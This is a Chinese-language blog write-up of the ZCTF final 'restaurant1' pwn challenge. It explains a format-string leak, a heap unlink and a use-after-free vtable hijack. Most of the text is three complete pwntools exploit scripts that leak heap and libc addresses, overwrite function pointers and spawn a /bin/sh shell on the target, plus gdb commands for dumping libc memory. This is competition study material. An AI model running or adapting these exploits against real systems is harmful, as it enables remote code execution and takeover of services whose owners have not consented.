zoukankan      html  css  js  c++  java
  • ZCTF-final-restaurant1

        和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。

        线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html

        信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。

        第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。

      1 from pwn import *
      2 import time
      3 context.log_level = 'debug'
      4 #by wangaohui
      5 #s= remote('172.16.5.10',9002,timeout=60)
      6 s= remote('127.0.0.1',10001,timeout=60)
      7 time.sleep(1)
      8 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
      9 #raw_input('go!')
     10 s.recvuntil('Please enter your name: ')
     11 s.sendline('/bin/sh;')
     12 s.recvuntil('Do you have any taboos?')
     13 s.sendline('/bin/sh;')
     14 s.recvuntil('Are you from China? (y/n) ')
     15 s.sendline('n')
     16 s.recvuntil('please enter your country: ')
     17 s.sendline('cn')
     18 s.recvuntil('How old are you: ')
     19 s.sendline('11')
     20 
     21 s.recvuntil('9. Finish your order.')
     22 s.sendline('7')
     23 s.recvuntil('Your name: ')
     24 s.sendline('/bin/sh;')
     25 s.recvuntil('Your country: ')
     26 s.sendline('/bin/sh;')
     27 s.recvuntil('Your taboos: ')
     28 s.sendline('/bin/sh;')
     29 s.recvuntil('Please enter the credit card password :')
     30 s.sendline('zctf1sgood')
     31 s.recvuntil('Recharge :')
     32 s.sendline(str(0x404b50+2+10-5))
     33 
     34 s.recvuntil('9. Finish your order.')
     35 s.sendline('1')
     36 s.recvuntil('Successfully order a staple food, enjoy it!')
     37 
     38 s.recvuntil('9. Finish your order.')
     39 s.sendline('2')
     40 s.recvuntil('Successfully order an entree, enjoy it!')
     41 
     42 s.recvuntil('9. Finish your order.')
     43 s.sendline('8')
     44 s.recvuntil('(1,2 or 3 depend on menu): ')
     45 s.sendline('2')
     46 s.recvuntil('How does this dish look: ')
     47 s.sendline('%5$p')
     48 s.recvuntil('How does this dish taste: ')
     49 s.sendline('xxx')
     50 s.recvuntil('Successfully comment.')
     51 
     52 s.recvuntil('9. Finish your order.')
     53 s.sendline('4')
     54 s.recvuntil('Order 2 :')
     55 s.recvuntil('appearance comment: ')
     56 leaked = s.recvuntil('
    ')
     57 heap = int(leaked[2:-1],16) - 0x158
     58 print hex(heap)
     59 print 'leaked heap is ' + leaked
     60 
     61 s.recvuntil('9. Finish your order.')
     62 s.sendline('8')
     63 s.recvuntil('(1,2 or 3 depend on menu): ')
     64 s.sendline('1')
     65 s.recvuntil('How does this dish look: ')
     66 s.sendline('xxx')
     67 s.recvuntil('How does this dish taste: ')
     68 s.sendline('yyy')
     69 s.recvuntil('Successfully comment.')
     70 
     71 fakefd = heap - 0x18
     72 fakebk = heap - 0x10
     73 appcom = 'a'*40 + p64(0x80) + p64(0x90)
     74 tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
     75 s.recvuntil('9. Finish your order.')
     76 s.sendline('8')
     77 s.recvuntil('1,2 or 3 depend on menu): ')
     78 s.sendline('1')
     79 s.recvuntil('How does this dish look: ')
     80 s.sendline(appcom)
     81 s.recvuntil('How does this dish taste: ')
     82 s.sendline(tastecom)
     83 s.recvuntil('Successfully comment.')
     84 
     85 s.recvuntil('9. Finish your order.')#unlink
     86 s.sendline('5')
     87 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
     88 s.sendline('2')
     89 s.recvuntil('the chef has already started to cook.')
     90 
     91 def infoleak(addr):
     92     ppcom = 'xxx'
     93     tastecom = p64(addr)
     94     s.recvuntil('9. Finish your order.')
     95     s.sendline('8')
     96     s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
     97     s.sendline('1')
     98     s.recvuntil('How does this dish look: ')
     99     s.sendline(appcom)
    100     s.recvuntil('How does this dish taste: ')
    101     s.sendline(tastecom)
    102     
    103     s.recvuntil('9. Finish your order.')
    104     s.sendline('6')
    105     s.recvuntil('Your age: ')
    106     strs = s.recvuntil('
    ')[:-1]
    107     if strs.find('-') != -1:
    108             data = (int(strs[1:])^0xffffffff)+1
    109     else:
    110         data = int(strs)
    111     return p32(data)
    112 
    113 d = DynELF(infoleak, elf=ELF('./restaurant1'))
    114 systemaddr = d.lookup('system', 'libc')
    115 log.info("systemaddr=" + hex(systemaddr))
    116 
    117 #systemaddr = 0xaaaaaaaaaaaaaaaa
    118 appcom = 'xxx'
    119 tastecom = 'a'*8 + p64(systemaddr)
    120 s.recvuntil('9. Finish your order.')
    121 s.sendline('8')
    122 s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
    123 s.sendline('1')
    124 s.recvuntil('How does this dish look: ')
    125 s.sendline(appcom)
    126 s.recvuntil('How does this dish taste: ')
    127 s.sendline(tastecom)
    128 
    129 s.recvuntil('9. Finish your order.')
    130 s.sendline('7')
    131 s.recvuntil('Your name: ')
    132 s.sendline('/bin/sh;')
    133 s.recvuntil('Your country: ')
    134 s.sendline('/bin/sh;')
    135 s.recvuntil('Your taboos: ')
    136 s.sendline('/bin/sh;')
    137 s.recvuntil('Please enter the credit card password :')
    138 s.sendline('zctf1sgood')
    139 s.recvuntil('Recharge :')
    140 s.sendline(str(0x404b50))
    141 
    142 s.recvuntil('9. Finish your order.')
    143 s.sendline('9')
    144 
    145 s.recvuntil('3.Just so so!')
    146 s.sendline('3.Just so so!')
    147 s.recvuntil('Thank you for your comment,bye!')
    148 s.interactive()
    149 s.close()

      后来发现,可以用gdb调试,因此和拥有了libc差不多。

      1 from pwn import *
      2 import time
      3 context.log_level = 'debug'
      4 #by wangaohui
      5 
      6 #s= remote('172.16.5.10',9002,timeout=60)
      7 s= remote('127.0.0.1',10001)
      8 time.sleep(2)
      9 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
     10 raw_input('go!')
     11 s.recvuntil('Please enter your name: ')
     12 s.sendline('/bin/sh;')
     13 s.recvuntil('Do you have any taboos?')
     14 s.sendline('/bin/sh;')
     15 s.recvuntil('Are you from China? (y/n) ')
     16 s.sendline('n')
     17 s.recvuntil('please enter your country: ')
     18 s.sendline('cn')
     19 s.recvuntil('How old are you: ')
     20 s.sendline('11')
     21 
     22 s.recvuntil('9. Finish your order.')
     23 s.sendline('7')
     24 s.recvuntil('Your name: ')
     25 s.sendline('/bin/sh;')
     26 s.recvuntil('Your country: ')
     27 s.sendline('Your taboos: ')
     28 s.sendline('/bin/sh;')
     29 s.recvuntil('Please enter the credit card password :')
     30 s.sendline('zctf1sgood')
     31 s.recvuntil('Recharge :')
     32 s.sendline(str(0x404b50+2+10-5))
     33 
     34 s.recvuntil('9. Finish your order.')
     35 s.sendline('1')
     36 s.recvuntil('Successfully order a staple food, enjoy it!')
     37 
     38 s.recvuntil('9. Finish your order.')
     39 s.sendline('2')
     40 s.recvuntil('Successfully order an entree, enjoy it!')
     41 
     42 s.recvuntil('9. Finish your order.')
     43 s.sendline('8')
     44 s.recvuntil('(1,2 or 3 depend on menu): ')
     45 s.sendline('2')
     46 s.recvuntil('How does this dish look: ')
     47 s.sendline('%5$p')
     48 s.recvuntil('How does this dish taste: ')
     49 s.sendline('xxx')
     50 s.recvuntil('Successfully comment.')
     51 
     52 s.recvuntil('9. Finish your order.')
     53 s.sendline('4')
     54 s.recvuntil('Order 2 :')
     55 s.recvuntil('appearance comment: ')
     56 leaked = s.recvuntil('
    ')
     57 heap = int(leaked[2:-1],16) - 0x158
     58 print hex(heap)
     59 print 'leaked heap is ' + leaked
     60 
     61 s.recvuntil('9. Finish your order.')
     62 s.sendline('8')
     63 s.recvuntil('(1,2 or 3 depend on menu): ')
     64 s.sendline('1')
     65 s.recvuntil('How does this dish look: ')
     66 s.sendline('xxx')
     67 s.recvuntil('How does this dish taste: ')
     68 s.sendline('yyy')
     69 s.recvuntil('Successfully comment.')
     70 
     71 fakefd = heap - 0x18
     72 fakebk = heap - 0x10
     73 appcom = 'a'*40 + p64(0x80) + p64(0x90)
     74 tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
     75 s.recvuntil('9. Finish your order.')
     76 s.sendline('8')
     77 s.recvuntil('1,2 or 3 depend on menu): ')
     78 s.sendline('1')
     79 s.recvuntil('How does this dish look: ')
     80 s.sendline(appcom)
     81 s.recvuntil('How does this dish taste: ')
     82 s.sendline(tastecom)
     83 s.recvuntil('Successfully comment.')
     84 
     85 s.recvuntil('9. Finish your order.')#unlink
     86 s.sendline('5')
     87 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
     88 s.sendline('2')
     89 s.recvuntil('the chef has already started to cook.')
     90 
     91 appcom = 'xxx'
     92 tastecom = p64(0x6070B8)#atoi's got
     93 s.recvuntil('9. Finish your order.')
     94 s.sendline('8')
     95 s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
     96 s.sendline('1')
     97 s.recvuntil('How does this dish look: ')
     98 s.sendline(appcom)
     99 s.recvuntil('How does this dish taste: ')
    100 s.sendline(tastecom)
    101 
    102 s.recvuntil('9. Finish your order.')
    103 s.sendline('6')
    104 s.recvuntil('Your age: ')
    105 atoistr = s.recvuntil('
    ')[:-1]
    106 if atoistr.find('-') != -1:
    107     atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
    108 print 'atoiaddr1 is:  %x' % atoiaddr1
    109 
    110 appcom = 'xxx'
    111 tastecom = p64(0x6070Bc)#atoi's got
    112 s.recvuntil('9. Finish your order.')
    113 s.sendline('8')
    114 s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
    115 s.sendline('1')
    116 s.recvuntil('How does this dish look: ')
    117 s.sendline(appcom)
    118 s.recvuntil('How does this dish taste: ')
    119 s.sendline(tastecom)
    120 
    121 s.recvuntil('9. Finish your order.')
    122 s.sendline('6')
    123 s.recvuntil('Your age: ')
    124 atoistr = s.recvuntil('
    ')[:-1]
    125 atoiaddr2 = int(atoistr)
    126 print 'atoiaddr2 is:  %x' % atoiaddr2
    127 atoiaddr = (atoiaddr2<<32) + atoiaddr1
    128 print 'atoiaddr is:  %x' % atoiaddr
    129 
    130 systemaddr = atoiaddr + 0xc6f0
    131 appcom = 'xxx'
    132 tastecom = 'a'*8 + p64(systemaddr)
    133 s.recvuntil('9. Finish your order.')
    134 s.sendline('8')
    135 s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
    136 s.sendline('1')
    137 s.recvuntil('How does this dish look: ')
    138 s.sendline(appcom)
    139 s.recvuntil('How does this dish taste: ')
    140 s.sendline(tastecom)
    141 
    142 s.recvuntil('9. Finish your order.')
    143 s.sendline('9')
    144 
    145 s.recvuntil('3.Just so so!')
    146 s.sendline('3.Just so so!')
    147 s.recvuntil('Thank you for your comment,bye!')
    148 s.interactive()
    149 
    150 s.close()

      第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。

        申请到已经free的内存块的代码:

        在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。

        因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:

        Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。

     1 from pwn import *
     2 import time
     3 #context.log_level = 'debug'
     4 #by wangaohui
     5 #s= remote('172.16.5.10',9002,timeout=60)
     6 s= remote('127.0.0.1',10001,timeout=60)
     7 time.sleep(1)
     8 print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
     9 raw_input('go!')
    10 
    11 s.recvuntil('Please enter your name: ')
    12 s.sendline('/bin/sh;')
    13 s.recvuntil('Do you have any taboos?')
    14 s.sendline('/bin/sh;')
    15 s.recvuntil('Are you from China? (y/n) ')
    16 s.sendline('n')
    17 s.recvuntil('please enter your country: ')
    18 s.sendline('/bin/sh;')
    19 s.recvuntil('How old are you: ')
    20 s.sendline('11')
    21 
    22 s.recvuntil('9. Finish your order.')
    23 s.sendline('7')
    24 s.recvuntil('Your name: ')
    25 s.sendline('/bin/sh;')
    26 s.recvuntil('Your country: ')
    27 s.sendline('/bin/sh;')
    28 s.recvuntil('Your taboos: ')
    29 s.sendline('/bin/sh;')
    30 s.recvuntil('Please enter the credit card password :')
    31 s.sendline('zctf1sgood')
    32 s.recvuntil('Recharge :')
    33 s.sendline(str(10000))
    34 
    35 s.recvuntil('9. Finish your order.')
    36 s.sendline('3')
    37 s.recvuntil('Successfully order a soup, enjoy it!')
    38 
    39 s.recvuntil('9. Finish your order.')
    40 s.sendline('8')
    41 s.recvuntil('(1,2 or 3 depend on menu): ')
    42 s.sendline('3')
    43 s.recvuntil('How does this dish look: ')
    44 s.sendline('%7$p %41$p')
    45 s.recvuntil('How does this dish taste: ')
    46 s.sendline('xxx')
    47 s.recvuntil('Successfully comment.')
    48 
    49 s.recvuntil('9. Finish your order.')
    50 s.sendline('4')
    51 s.recvuntil('Order 3 :')
    52 s.recvuntil('appearance comment: ')
    53 leaked = s.recvuntil('
    ')
    54 heapstr = leaked.split(' ')[0]
    55 heap = int(heapstr[2:],16)
    56 print 'leaked heap is ' + heapstr
    57 libc_start_mainstr = leaked.split(' ')[1]
    58 libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
    59 print 'leaked libc_start_main is ' + hex(libc_start_main)
    60 magic = libc_start_main + 0x1f92b
    61 print 'magic is ' + hex(magic)
    62 
    63 s.recvuntil('9. Finish your order.')
    64 s.sendline('8')
    65 s.recvuntil('(1,2 or 3 depend on menu): ')
    66 s.sendline('3')
    67 s.recvuntil('How does this dish look: ')
    68 s.sendline(p64(magic)*3)        #virtual table
    69 s.recvuntil('How does this dish taste: ')
    70 s.sendline('xxx')
    71 s.recvuntil('Successfully comment.')
    72 
    73 s.recvuntil('9. Finish your order.')
    74 s.sendline('2')
    75 s.recvuntil('Successfully order an entree, enjoy it!')
    76 
    77 s.recvuntil('9. Finish your order.')
    78 s.sendline('5')
    79 s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
    80 s.sendline('2')
    81 s.recvuntil('the chef has already started to cook.')
    82 
    83 s.recvuntil('9. Finish your order.')    #uaf
    84 s.sendline('7')
    85 s.recvuntil('Your name: ')
    86 s.sendline('/bin/sh;')
    87 s.recvuntil('Your country: ')
    88 s.sendline('/bin/sh;')
    89 s.recvuntil('Your taboos: ')
    90 s.sendline(p64(heap+0x60) + 'a'*0x48)
    91 s.recvuntil('Please enter the credit card password :')
    92 s.sendline('zctf1sgood')
    93 s.recvuntil('Recharge :')
    94 s.sendline(str(10000))
    95 
    96 s.recvuntil('9. Finish your order.')
    97 s.sendline('4')
    98 s.interactive()
    99 s.close()

        后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。

    附两条用到的命令:

    searchmem "x48x8bx10xe8" 0x7ffff7726000 0x7ffff78c8000

    dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000

  • 相关阅读:
    安装与配置 Elasticsearch
    推荐几个 WebSocket 服务端实现
    GitLab 修改主机名,更换 IP 配置,配置 SMTP
    Choose GitLab for your next open source project
    大数据全栈式开发语言 – Python
    IPC's epoch 6 is less than the last promised epoch 7
    将/home空间从新挂载到/var/lib/docker
    Initialization failed for Block pool <registering> (Datanode Uuid unassigned) service to IP1:8020 Invalid volume failure config value: 1
    查看端口被那个进程占用
    查看java进程启动的详细参数和过程
  • 原文地址:https://www.cnblogs.com/wangaohui/p/5365450.html
Copyright © 2011-2022 走看看